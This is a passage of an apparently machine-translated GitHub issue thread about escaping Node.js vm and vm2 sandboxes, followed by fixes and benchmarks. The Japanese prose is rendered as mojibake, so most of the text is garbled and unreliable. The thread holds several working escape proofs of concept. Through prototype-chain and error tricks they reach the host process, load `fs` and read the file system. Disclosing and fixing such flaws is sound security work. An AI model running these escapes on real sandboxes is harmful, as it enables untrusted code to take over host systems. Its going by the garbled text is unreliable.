VMããšã¹ã±ãŒãããŠãéåžžã«æãŸãããªãã¢ã¯ã·ã§ã³ãå®è¡ããå¯èœæ§ããããŸãã
ããŒãã®ãã€ãã£ãVMã«é¢é£ããŠæ¬¡ã®èŠç¹ãä»ããŠèŠã€ãããŸããïŒ https ïŒ
次ã®2ã€ã®ã³ãŒãäŸãèŠãŠãã ããã
const VM = require('vm2').VM;
const options = {
sandbox: {}
};
const vm = new VM(options);
vm.run(`
const ForeignFunction = global.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`);
ãš ïŒ
const NodeVM = require('vm2').NodeVM;
const options = {
console: 'off',
sandbox: {},
require: false,
requireExternal: false,
requireNative: [],
requireRoot : "./"
};
const vm = new NodeVM(options);
vm.run(`
const ForeignFunction = global.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`);
ãããã®åºåã®ãããããå®è¡ãããšã次ã®ããã«ãªããŸãã
{ dev: 16777220,
mode: 16877,
nlink: 14,
uid: 502,
gid: 20,
rdev: 0,
blksize: 4096,
ino: 14441430,
size: 476,
blocks: 0,
atime: 2016-06-15T22:20:05.000Z,
mtime: 2016-06-15T22:19:59.000Z,
ctime: 2016-06-15T22:19:59.000Z,
birthtime: 2016-06-09T01:02:12.000Z }
ãã®åäœãv4.4.5ãšv6.2.1ã®äž¡æ¹ã§æ€èšŒããŸãã
ã¬ããŒãã®ãããã§ãç§ã¯vm2ã®æ°ããããŒãžã§ã³ã«æžåœã«åãçµãã§ãããäœæãããã³ã³ããã¹ãå ã«ã³ã³ããã¹ããäœæããããšã§ãã®ãªãŒã¯ãä¿®æ£ããããšãã§ããŸããã ãµã³ãããã¯ã¹ãè±åºããå¥ã®æ¹æ³ããããã©ããã¯ããããŸãããããŸã èŠã€ããŠããŸããã
const context = vm.createContext(vm.runInNewContext("({})"));
const whatIsThis = vm.runInContext(`
const ForeignFunction = this.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`, context);
ç»ãããšããŸããããããã¯true
ãªã®ã§ãããã¯äžå¯èœã®ããã§ãïŒ
this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()
ç§ã¯ããªããäžã§è¿°ã¹ãã¢ãããŒãã§éãã§ããŸãã
æåã®ç®æšã¯ãç§ã®ãŠãŒã¹ã±ãŒã¹ã«å¿ èŠãªãµã³ãããã¯ã¹ã«ç©äºãæž¡ãããšãã§ããããã«ã³ã¡ã³ãã調æŽããããšã§ããã ãããééã£ãæ¹æ³ã§ããå Žåã¯èšæ£ããŠãã ããããã ãããããå¯äžã®æ¹æ³ã®ããã§ãã
const vm = require('vm');
const log = console.log;
const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
'log': log
});
const userScript = new vm.Script(`
(function() {
log('Hello World Inside');
return 'Hello World Outside';
})
`);
const whatIsThis = userScript.runInContext(context)();
console.log(whatIsThis);
åºåïŒ
Hello World Inside
Hello World Outside
次ã«ãVMããã®è±åºãåè©Šè¡ããæåããŸããã
const vm = require('vm');
const log = console.log;
const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
'log': log
});
const userScript = new vm.Script(`
(function() {
const ForeignFunction = log.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
log('Hello World Inside');
return 'Hello World Outside';
})
`);
const whatIsThis = userScript.runInContext(context)();
console.log(whatIsThis);
ã©ã®åºåïŒ
{ dev: 16777220,
mode: 16877,
nlink: 16,
uid: 502,
gid: 20,
rdev: 0,
blksize: 4096,
ino: 14441430,
size: 544,
blocks: 0,
atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside
ãµã³ãããã¯ã¹ããç©ãæ»ãããã«ãããã䜿çšããªãéãããµã³ãããã¯ã¹ã«ç©ãå®å šã«æ³šå ¥ããæ¹æ³ã¯ãªãããã§ãã
æ¹æ³ããããŸã-ãªããžã§ã¯ãã¯VMã®ã³ã³ããã¹ãã«ã³ã³ããã¹ãåããå¿ èŠããããŸãã ãããè¡ãã«ã¯2ã€ã®æ¹æ³ããããŸãã ãããã®ãªããžã§ã¯ãããã£ãŒãã¯ããŒã³ãããããããã·ã䜿çšã§ããŸãã æ°ããvm2ã§ãããã·ã䜿çšããŠããŸãã
https://github.com/patriksimek/vm2/tree/v3
次ã®ãªãªãŒã¹ãGHã«ããã·ã¥ããŸããã ãŸã äœæ¥äžã§ãããåäœããã¯ãã§ãã
v3ãå£ããŠããŸãïŒ
'use strict';
const {VM} = require('vm2');
const vm = new VM({
'sandbox' : {
'log' : console.log,
},
});
vm.run(`
try {
log.__proto__ = null;
}
catch (e) {
const foreignFunction = e.constructor.constructor;
const process = foreignFunction("return process")();
const require = process.mainModule.require;
const fs = require("fs");
log(fs.statSync('.'));
}
`);
ãã®ã¢ã°ã©ãããã®ã²ãŒã ããã¬ã€ããã®ã¯ã¡ãã£ãšç¡é§ã§ãã
@parasyteããããšããããã¯ç§ã®ã³ãŒãã®ã¿ã€ããã¹ãåå ã§ããã çŸåšä¿®æ£ãããŠããŸãã
äŸå€ããã£ããããããšãå¿ããªãã§ãã ããã
'use strict';
const {VM} = require('vm2');
const vm = new VM({
'sandbox' : {
boom() {
throw new Error();
},
},
});
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction("return process")();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
try {
boom();
}
catch (e) {
exploit(e);
}
`);
@parasyteããããšããä¿®æ£ã ç§ã¯ããªãã®è²¢ç®ã«æ¬åœã«æè¬ããŸãã
ð+ 1
@patriksimekãããïŒ
ãŸããã³ã³ããã¹ãåããããµã³ãããã¯ã¹ããæãåºãããã«æŽ»çšã§ããã°ããŒãã«ã¹ã³ãŒãå ã®ç¹å®ã®ãªããžã§ã¯ãã«ã¢ã¯ã»ã¹ã§ããŸãã ããã¯ãVMã«ãªããžã§ã¯ããæž¡ãå¿ èŠãããããŸããã
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
Reflect.construct = exploit;
new Buffer([0]);
`);
@parasyte sheeshïŒ çºèŠããããã«ããããã®ãã¯ãã«ãæ®ã£ãŠããã«éããããŸããã
@keyoskããããããã...
ãšããã§@ patriksimekES6ã¯coffeescriptãããã¯ããã«åªããŠããŸãïŒ ð
@parasyteããããšãããããŸããç§ãèŠã€ããããã¯ãã¢ãšäžç·ã«ä¿®æ£ãããŸããã
@keyoskç§ãã¡ã¯ããããã¹ãŠãèŠã€ãããšä¿¡ããŠããŸãã
ããã¯ã©ãã§ããïŒ
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
Object.assign = function (o) {
return {
'get' : function (t, k) {
try {
t = o.get(t, k);
exploit(t);
}
catch (e) {}
return t;
},
};
};
new Buffer([0]);
`);
@parasyteãã€ã¹ãã£ããããããä¿®æ£ããŸããã ããããšãã
æè¿ã®ãããã§ããŸã£ããæ°ããã¯ãŒã ã®çŒ¶ãéããŸããã
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
try {
new Buffer();
}
catch (e) {
exploit(e);
}
`);
ãããŒãç§ã¯é ãããŠéäžåã倱ããŸããã äž»ã«ç§ã®ããã«ãããã€ãã®ã»ãã¥ãªãã£ããŒããæžããŸããã :)
ããããšããä¿®æ£ããŸããã
ããŠãç§ã¯ä»ãŸã§NodeVM
調ã¹ãããšããããŸããïŒ ã¹ã¯ã©ãããè¡šé¢ç©ã¯ãã£ãšãããããããŸããããã«...
ããã«ç§ã¯arguments.callee
ä»ããè±åºã«æ°ã¥ããŸããïŒ
'use strict';
const {NodeVM} = require('vm2');
const vm = new NodeVM();
vm.run(`
function getParent(o) {
return o.constructor.constructor('return this')();
}
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');
return o;
}
(function () {
exploit(getParent(getParent(arguments.callee.caller)));
})();
`);
ããŠãããã¯ããã§ã®æåã®åé¡ã瀺ããŠããŸã-æ°ããã³ã³ããã¹ãå ã«äœæãããã³ã³ããã¹ãã¯æããã«ååã§ã¯ãããŸããã ççž®çïŒ
vm.run(`
global.constructor.constructor('return this')().constructor.constructor('return process')()
`);
ãŸã 解決çãèŠã€ããŠããŸããã ãã¹ãã«delete process.mainModule
ããããé©çšãããããããŸãããã require
ã«ç»ãå¥ã®æ¹æ³ããããšç¢ºä¿¡ããŠããŸãã
解決çãèŠã€ããŸãã:-)
ããïŒ ããªãã¯è¿œãã€ããŠããŸãïŒ ;ïŒãã®ããã«ããªããå°ããŠãããããšããè©«ã³ããªããã°ãªããŸããã ããã«ãããã¹ãŠã®èŽè¡ã®ããã«; node.jsã®VMã¹ã³ãŒãã®åé¡ã¯ããã¹ãã¹ã³ãŒãå ã®ãªããžã§ã¯ããžã®åç §ã«ãããŸãïŒãããã¿ã€ããã§ãŒã³ãä»ããŠãã¹ãŠã®ãã¹ãã¹ã³ãŒããžã®åç §ãååŸã§ããŸãïŒã
constructor
ããããã£ããªãŒããŒã©ã€ãããã®ã§ããã®äžã«ç§»åããå¿
èŠããããŸãã
function getParent(o) {
return o.__proto__.constructor.constructor('return this')();
}
ããã§èª¿æ»ãè¡ã£ããšããã global.__proto__ === host.Object.prototype
ã Object.setPrototypeOf(global, Object.prototype)
ãé©çšããããšã§ãç§ã¯ã¯ãªã¯ã«ãéããããšãã§ããŸããã
å床ãæè¬ããŸãã
@parasyte @patriksimekããã¯ææ°ã®npmå ¬éããŒãžã§ã³ã§çµäºããŸããïŒ
ã¯ããä»ã®ãšãããããéããããšãã§ããŸãã
FWIWã eval
ç¡å¹ã«ããã ãã§ããã解決ãããµã³ãããã¯ã¹ã«åç
§ãå
¬éããªãããã«çŽ°å¿ã®æ³šæãæããŸããã
#include <nan.h>
using v8::Local;
using v8::Context;
NAN_METHOD(enableEval) {
Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
ctx->AllowCodeGenerationFromStrings(true);
info.GetReturnValue().SetUndefined();
}
NAN_METHOD(disableEval) {
Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
ctx->AllowCodeGenerationFromStrings(false);
info.GetReturnValue().SetUndefined();
}
void Init(v8::Local<v8::Object> exports) {
exports->Set(Nan::New("enableEval").ToLocalChecked(),
Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());
exports->Set(Nan::New("disableEval").ToLocalChecked(),
Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}
NODE_MODULE(vm8, Init)
ããã«ããã return process
æååãè©äŸ¡ã§ããªãããããšã¹ã±ãŒããé²æ¢ãããŸãã çµæãšããŠãæ£åœãªeval()
ããã³é¢æ°çºçåšã³ã³ã¹ãã©ã¯ã¿ãŒã®åŒã³åºããç¡å¹ã«ãªããŸãã ïŒãããã®æ©èœã®æçšæ§ã¯ããªãçãããã§ããïŒ
ããããããããããã«@parasyteã¯ãä»ã®å Žæã§å®è£ ãããã®ã§ããïŒ ãŸãã¯äœããvm2ã«è²¢ç®ããŸãããïŒ
@keyscoresããã¯ä»ã®å Žæã§å®è£ ãããŸããã
ãããä»ã®å Žæã åæ§ã®ãµã³ãããã¯ã¹ãããžã§ã¯ãããããçŸåšããªãŒãã³ãœãŒã¹ããªãªãŒã¹ããããã®èš±å¯ãåŸ ã£ãŠããŸãã æ··ä¹±ãããŠç³ãèš³ãããŸããã ãã®ãããžã§ã¯ãã§æ ¹æ¬çãªåé¡ãã©ã®ããã«è§£æ±ºããããã«ã€ããŠã³ã¡ã³ãããŠããŸããã
@parasyteãªãªãŒã¹ãæŽæ°ããŸããïŒ å®è£ ãæ¯èŒããããšã«èå³ããããŸãã 誰ããåã€ãšæããŸãã
@keyscoresç³ãèš³ãããŸãããããŸã å ±åãããã®ã¯ãããŸããã çµç¹å ã®èšç»ãäžé©åã ã£ãããããªãŒãã³ãœãŒã¹ã®åãçµã¿ã®åªå é äœãäœããªããŸããã ïŒ\
ç§ã¯ãããèŽåœçãªåé¡ã§ããããšãç¥ã£ãŠããŸããã次ã®ãããªã³ãŒããå®è¡ãããšãã«ããŒãã®vm
ã©ã€ãã©ãªã®æ¢ç¥ã®ãã€ãã¹ã¯ãããŸããïŒ
javascript
vm.runInNewContext("arbitrary user input here", Object.create(null))
@parasyte ïŒå¥œå¥å¿ãããå®è¡ããåã«å€éšã³ãŒãã®å
é ã«global.eval = null;
æ¿å
¥ããŠãevalãç¡å¹ã«ããŠã¿ãŸãããïŒ
@ Eric24ãã質åã§ãïŒ ãã®ãã¬ãŒã³ããŒã·ã§ã³ã§ã¯ããã®çç±ã詳现ã«èª¬æããŠããŸãïŒ https ïŒ https ïŒ
æãéèŠãªç¹ã¯ãJavaScriptããeval()
ãåŒã³åºãæ¹æ³ã¯ããããããã global.eval
ã眮ãæããããšã¯ãã®ãã¡ã®1ã€ã«ãããªããšããããšã§ãã ãªã¹ãå
šäœã確èªãããŸã§ã«ã GeneratorFunctionã§ãããè©äŸ¡ãã¢ã³ããŒãããããããšã¯äžå¯èœã§ããããšã«æ°ä»ãã§ãããã ãŸããããã«ã¯ãå°æ¥ã®ESã®å€æŽã«ãã£ãŠeval()
ãå
¬éãããå¯èœæ§ã®ããä»ã®ç¡æ°ã®æ¹æ³ã¯å«ãŸããŠããŸããã
ãããã£ãŠãå®è¡å¯èœãªå¯äžã®è§£æ±ºçã¯ãC ++ã䜿çšããŠV8ã§è©äŸ¡ãç¡å¹ã«ããããšã§ãã
@parasyte ïŒå®å šã«çã«ããªã£ãŠããŸãïŒãããŠãã¬ãŒã³ããŒã·ã§ã³ã«æè¬ããŸãïŒã ã§ã¯ãC ++ã³ãŒãã¯VMã ãã§ããŸãã¯ããã¹ãããã»ã¹ãã§ãevalãç¡å¹ã«ããŸããïŒ
@ Eric24ã¯ãdisableEvalãåŒã³åºãããã³ã³ããã¹ãã§evalãç¡å¹ã«ããŸããããããVMã§å®è¡ãããæäŸããããŠãŒã¶ãŒã©ã³ãã³ãŒãã®å é ã«æ¿å ¥ããå¿ èŠããããŸãã ããã«ãããããã¹ãã§å®è¡ãããã®ã³ã³ããã¹ãã§ç¡å¹ã«ããããšãã§ããŸãã
@parasyte ïŒ
@Anorovããã¯ã»ãã®æ°æ¥åã«å ±åãããŸããïŒ https ïŒ domain
䜿çšã«æ³šæããŠãã ããïŒã
ããã¯ã䟿å©ã§ãã³ãã£ãªæŠå¿µå®èšŒã§ãã ããŒãv8.6.0ã§ãã¹ãæžã¿ïŒ
// 'use strict';
const domain = require('domain');
const vm = require('vm');
const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;
domain.create().enter(); // Entering a domain leaks the private context into VM
vm.runInNewContext(untrusted, Object.create(null));
ãã®ãããªãªãŒã¯ã«æ³šæããŠãã ããã ãã®ã¯ã©ã¹ã®è匱æ§ããå®å
šã確ä¿ããå¯äžã®æ¹æ³ã¯ãevalãç¡å¹ã«ããããšã§ãã ãããŠãevalã®ç¯å²å€ã®vm
ä»ã®åé¡ããããããããªãããšã«ããããããŠãã ããã
@parasyteããããšãã ç§ã¯Pythonã®ããŒãã§ãã®ã³ãŒããå®è¡ããŠããŸãïŒ https ïŒ
ä»ã®ã©ã€ãã©ãªïŒ domain
ãªã©ïŒã¯ã€ã³ããŒããŸãã¯äœ¿çšãããŸããã ãã®ã³ãŒãã«æœåšçãªåé¡ããããŸããïŒ å¯èœã§ããã°ãJavascriptã®äŸåé¢ä¿ïŒvm2ãªã©ïŒãå¿
èŠãšããªãããã«ããããšæããŸãã
@Anorovãããªãã»ã©ã CloudFlareïŒãŸãã¯MITMïŒããµã³ãããã¯ã¹ããæãåºãå¯èœæ§ã®ããã³ãŒããæäŸããããšããã®ã§ã¯ãªãããšå¿é ã§ããïŒ æšçåæ»æã§ããå¿ èŠããããŸãããå®å šã«æé€ããããšã¯ã§ããŸããã
æ£ããã 誰ããç§ãæåŸ
ããŠããããŒãžãæš¡å£ããå¯èœæ§ããããŸã
ç§ã®ã¹ã¯ãªããã¯ãããã§ãªãã®ã«Cloudflareã ãšæã£ãŠããããšã ç§ãèããŠããŸã
ãµãŒããŒã®IPã¢ãã¬ã¹ãCloudflareã«ãã£ãŠææãããŠããããšã確èªããŸã
è¿œå ã®äºé²æªçœ®ã
ããããããã«ããããããããã®ã³ãŒããä»»æã®ä»»æã®å Žæã§å®è¡ãããŠãããšä»®å®ããŸããã
Cloudflareã ãã§ãªããŠãŒã¶ãŒå
¥åã ãµã³ãããã¯ã¹ã¡ã«ããºã ã¯å®å
šã§ããïŒ
ããŒãã³ãã¥ããã£ã®æé«ã®ç¥èã¯ïŒ
2017幎10æ2æ¥ååŸ10æ10åããJayOsterã [email protected]ã¯æ¬¡ã®ããã«æžããŠããŸãã
@Anorovhttps ïŒ//github.com/anorovãããªãã»ã©ã å¿é ã§ãã
CloudFlareïŒãŸãã¯MITMïŒã¯ãçºçããå¯èœæ§ã®ããã³ãŒããæäŸããããšããŸã
ãµã³ãããã¯ã¹ïŒ æšçåæ»æã§ããå¿ èŠããããŸãããç§ã¯ãããæ¯é ããŸãã
å®å šã«åºãŠãâ
ããªããèšåãããã®ã§ããªãã¯ãããåãåã£ãŠããŸãã
ãã®ã¡ãŒã«ã«çŽæ¥è¿ä¿¡ããGitHubã§è¡šç€ºããŠãã ãã
https://github.com/patriksimek/vm2/issues/32#issuecomment-3337186ââ95 ããŸãã¯ãã¥ãŒã
ã¹ã¬ãã
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
ã
@ã¢ãããïŒ
Nodeã³ãã¥ããã£ã®ç¥ãéãããµã³ãããã¯ã¹ã¡ã«ããºã ã¯å®å šã§ããïŒ
絶察éãã å ¬åŒææžã¯ãããéåžžã«åŒ·åãªã¡ã¢ã«ããŠããŸãïŒ
泚ïŒvmã¢ãžã¥ãŒã«ã¯ã»ãã¥ãªãã£ã¡ã«ããºã ã§ã¯ãããŸããã ä¿¡é Œã§ããªãã³ãŒããå®è¡ããããã«äœ¿çšããªãã§ãã ããã
ç§ã¯ãã®èŠåãç¥ã£ãŠããŸãããå®çšæ§ã«ã€ããŠè³ªåããŠããŸãã
2017幎10æ3æ¥16:34ããCodyMassinã [email protected]ã¯æ¬¡ã®ããã«æžããŠããŸãã
@Anorov https://github.com/anorov ïŒ
ãµã³ãããã¯ã¹ã¡ã«ããºã ã¯å®å šã§ãããããŒãã³ãã¥ããã£ã®æåãå°œãããŸã
ç¥èïŒçµ¶å¯Ÿéãã å ¬åŒããã¥ã¡ã³ã
https://nodejs.org/api/vm.html#vm_vm_executing_javascriptã¯ãããäœæããŸã
éåžžã«åŒ·ãã¡ã¢ïŒæ³šïŒvmã¢ãžã¥ãŒã«ã¯ã»ãã¥ãªãã£ã¡ã«ããºã ã§ã¯ãããŸããã å®è¡ã«äœ¿çšããªãã§ãã ãã
ä¿¡é Œã§ããªãã³ãŒããâ
ããªããèšåãããã®ã§ããªãã¯ãããåãåã£ãŠããŸãã
ãã®ã¡ãŒã«ã«çŽæ¥è¿ä¿¡ããGitHubã§è¡šç€ºããŠãã ãã
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 ããŸãã¯ãã¥ãŒã
ã¹ã¬ãã
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
ã
å®éã«ã¯ããµã³ãããã¯ã¹ã¡ã«ããºã ã¯ä¿¡é Œã§ããªãã³ãŒãã«å¯ŸããŠå®å
šã§ã¯ãããŸããã ãã®ããã @ patriksimekã¯ã vm2
ã©ã€ãã©ãªã䜿çšããŠå®å
šãªãµã³ãããã¯ã¹ã¡ã«ããºã ãäœæããããšããŸããã ãããã @ parasyteããä¿¡é Œã§ããªãã³ãŒãããµã³ãããã¯ã¹åããéã«å¥ã®ã¢ãããŒãã䜿çšããŠç¬èªã®ã©ã€ãã©ãªãäœæããäœæ¥ãè¡ã£ãçç±ã§ããããŸãã
@AnorovèŠããã«ã vm
ã ãã«é Œããªãã§ãã ããã ããããããã¯ã¿ããã®ã®åå±€ãšããŠäŸ¿å©ãªããŒã«ã§ãã
ç§ã¯ã @ parasyteããã®evalãç¡å¹ã«ããããã«vmãšææ¡ãããC ++ã³ãŒãã§
const userfunc = new Function('context',
'"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');
ãããæ©èœããã¯ããã«é«éã§ãïŒäžéšã®ãã¹ãã±ãŒã¹ã§ã¯1000å以äžé«éã§ãïŒã evalãç¡å¹ã«ããããšã«å ããŠããŠãŒã¶ãŒã©ã³ãã³ãŒãã«ãglobalããžã®åç §ãå«ãŸããªãããã«ããŸãïŒãã®ãã¹ãããªããšãé¢æ°ã¯global.whateverã䜿çšããŠã°ããŒãã«ã¹ã³ãŒããå€æŽã§ããŸãïŒã ããã¯å¹æçã§å®å šãªãµã³ãããã¯ã¹ã®ããã§ãã äœã足ããªãã®ã§ããïŒ
ããªãã®æŠç¥ã¯ã人ã ãfsã®ãããªåå空éãã€ã³ããŒãããŠãµãŒããŒãå€§å¹ ã«å€æŽããããšãé»æ¢ããŸããïŒ ãŸããevalã®ç¡å¹åã«ã€ããŠãèå³ããããŸãããªããeval以å€ã®ã³ãŒãã«ã€ããŠã§ã¯ãªããevalã«ã€ããŠãã¹ãŠã®å¿é ãããã®ã§ããããã
@wysisoft ïŒãã質åã§ãã ã¯ãããrequireãã¯å ¬éãããŠããŸããã åã¹ã¯ãªããã¯ãã¡ã¿ããŒã¿ã®äžéšãšããŠãå®è¡åã«é¢æ°ã«åå¥ã«å ¬éããããå¿ èŠãªãèš±å¯ããã³æ€èšŒæžã¿ãã¢ãžã¥ãŒã«ã®ãªã¹ããå®çŸ©ããŸãã å ·äœçã«ã¯ããfsãã¯ãã®æ¿èªæžã¿ãªã¹ãã«ã¯å«ãŸããŸããïŒãã ããäžæã¹ãã¬ãŒãžãå¿ èŠãªã¹ã¯ãªããã®å Žåã¯ãéå®ãããèªã¿åã/æžã蟌ã¿é¢æ°ã®ã»ãããæäŸãããŸãïŒã
'eval'ãç¡å¹ã«ããããšã¯ãå€ãã®ãšã¯ã¹ããã€ããé»æ¢ããããã®éµã§ãïŒ 18NOV16ã®@parasyteããã®ã³ã¡ã³ããåç §ããŠãã ããïŒã 'eval'ãèš±å¯ãããšãä»ã®æ¹æ³ã§ã¯é²æ¢ã§ããªãæ¹æ³ã§ã°ããŒãã«ã¹ã³ãŒãã«ã¢ã¯ã»ã¹ã§ããããã«ãªããŸãã 詳现ã«ã€ããŠã¯ã @ parasyteããã®ã芧ãã ããïŒã
@ Eric24 vm
äœããé
ããã®ãããããŸããã ããã¯ãnodeJSã匷åããv8ã©ã³ã¿ã€ã ãšãŸã£ããåãã§ãã ã³ãŒããå®è¡ãããã³ã«ãµã³ãããã¯ã¹ãåäœæãããªã©ãã°ãããããšãããŠããŸãããïŒ ããçšåºŠã®ãªãŒããŒãããããããŸããã1000å以äžã®ãªãŒããŒãããã¯ãããŸããã
@wysisoft eval()
ã¯ããµã³ãããã¯ã¹ããšã¹ã±ãŒãããããã®ç°¡åã«ã¢ã¯ã»ã¹ã§ããæ¹æ³ã§ãã ç¡å¹ã«ãããšããã©ã€ããŒãã³ã³ããã¹ãå
ã®ã³ãŒãããŸãã ããããç¹°ãè¿ãã«ãªããŸããããããå¯äžã®æ»æãã¯ãã«ã§ã¯ãªãããã¹ãŠã«æ³šæããå¿
èŠããããŸãã
@ parasyte-éåžžã«åçŽãªãã¹ãããããããããã«åãã³ãŒãã«ã§ããã ãè¿ãFunctionïŒïŒãšVMãäœæããäž¡æ¹ã1000åå®è¡ããå¿ èŠãªåèšæéãå ±åããŸãã 以äžã®ã³ãŒãïŒ
"use strict";
const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");
console.log('TEST=' + global.test);
let response = {result: 0, body: null};
// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
'"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123, y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');
// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
'"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123, y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);
// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');
// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');
// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
//ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid}; // << THIS IS THE PROBLEM!
//context = new vm.createContext(ctx);
out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');
ãã¹ãã§ãããããã«ãã¹ã¯ãªãããšã³ã³ããã¹ãã1åäœæããŠããã1000åå®è¡ããŠããŸãã ãã ããå®éã®ã¿ãŒã²ãããŠãŒã¹ã±ãŒã¹ã§ã¯ãå®è¡ããšã«äžæã§ãããæ°ããã³ã³ããã¹ãã§éå§ããå¿ èŠããããããæ¯åã³ã³ããã¹ããåäœæããå¿ èŠããããŸãïŒã³ã³ãã€ã«ãããã¹ã¯ãªããããã£ãã·ã¥ã§ããå¯èœæ§ããããŸãïŒã æ¯åã³ã³ããã¹ããåäœæããªãå ŽåãFunctionïŒïŒãšVMã®éãã¯6ã14åã§ãã
ãããã詳ãã調ã¹ãåŸãå®éã®ãŠãŒã¹ã±ãŒã¹ã«è¿ãã³ãŒãã®ããªãšãŒã·ã§ã³ïŒã«ãŒãå ã§æ¯åã³ã³ããã¹ããäœæããïŒãè©ŠããŸããã ç§ã¯åœåãã³ã³ããã¹ãã®1åéãã®äœæã®ã¿ã€ãã³ã°ã1ããªç§æªæºã§èšå®ããŠããã®ã§ããããå埩ããšã«å«ããŠããŸããã ããããå®éã®ã³ãŒããå®è¡ãããšãæ¬åœã®åå ã瀺ãããŸãããVMã¯ãŸã äœéã§ãããåé¡ã¯ã³ã³ããã¹ãã®äœæã§ã¯ãªãããctxããªããžã§ã¯ãã®äœæã§ãã ããã¯ããªãã®é©ãã§ãã
ãã ããVMã³ã³ããã¹ãã®æ°ãããªããžã§ã¯ããäœæããå¿ èŠããããŸãïŒãã ããFunctionïŒïŒã§ããã®ããªãšãŒã·ã§ã³ãå¿ èŠã«ãªãããã2ã€ã®éãã¯6ã14åã«æ»ããŸãïŒããã¯äŸç¶ãšããŠéèŠã§ãïŒã ã
ããŒãã ç§ã¯ã¡ããã©å¥ã®ãã¹ããè©ŠããŸããïŒ
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
// let context = new vm.createContext(ctx);
out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
